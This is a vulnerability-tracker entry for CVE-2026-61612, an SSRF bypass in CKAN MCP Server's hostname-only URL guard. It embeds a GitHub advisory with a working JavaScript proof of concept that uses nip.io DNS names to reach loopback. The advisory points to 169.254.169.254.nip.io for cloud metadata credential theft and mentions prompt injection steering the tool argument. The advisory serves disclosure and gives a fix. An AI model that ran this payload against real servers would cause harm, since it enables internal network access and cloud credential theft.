CVE-2026-61612
mediumpriority · track · 0EPSS 0.004 · 33 %ileUSEPSS · scored 2026-10-27
CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. Version 0.4.108 contains an updated fix.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (1)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-798p-78g2-v556@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-535092026-09-22ghsa · osvUS
## Summary The SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. ## Affected / patched - `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet. ## Severity It is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS). ## Root cause — `src/utils/http.ts`, `validateServerUrl` The guard blocks IP **literals** and three loopback alias strings, but does no name resolution: ```ts const hostname = parsed.hostname.toLowerCase(); if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ } // no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed ``` Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: <body>`. > Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses. ## Proof of concept Drives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint. ```sh npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk node poc.mjs ``` ```js import http from 'node:http'; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE'; const internal = http.createServer((_req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response }); await new Promise(r => internal.listen(0, '127.0.0.1', r)); const port = internal.address().port; const client = new Client({ name: "ssrf-poc", version: "1.0.0" }); await client.connect(new StdioClientTransport({ command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"] })); // nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io" // (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1. // Use 169.254.169.254.nip.io to reach IMDS on a cloud host. const evil = `http://127.0.0.1.nip.io:${port}/`; const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } }); const text = res.content?.[0]?.text || JSON.stringify(res); console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no"); console.log(text.slice(0, 220)); await client.close(); internal.close(); ``` Output: ``` SSRF: YES — internal server reached, body returned to caller CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"} ``` A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained. ## Impact Caller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly. ## Suggested fix Resolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.
sources
Which sources assert this record, and when.
references (5) nvd
External citations — patches, advisories, analysis.
- https://github.com/advisories/GHSA-3xm7-qw7j-qc8v
- https://github.com/advisories/GHSA-g84h-j7jj-x32p
- https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40
- https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.108
- https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan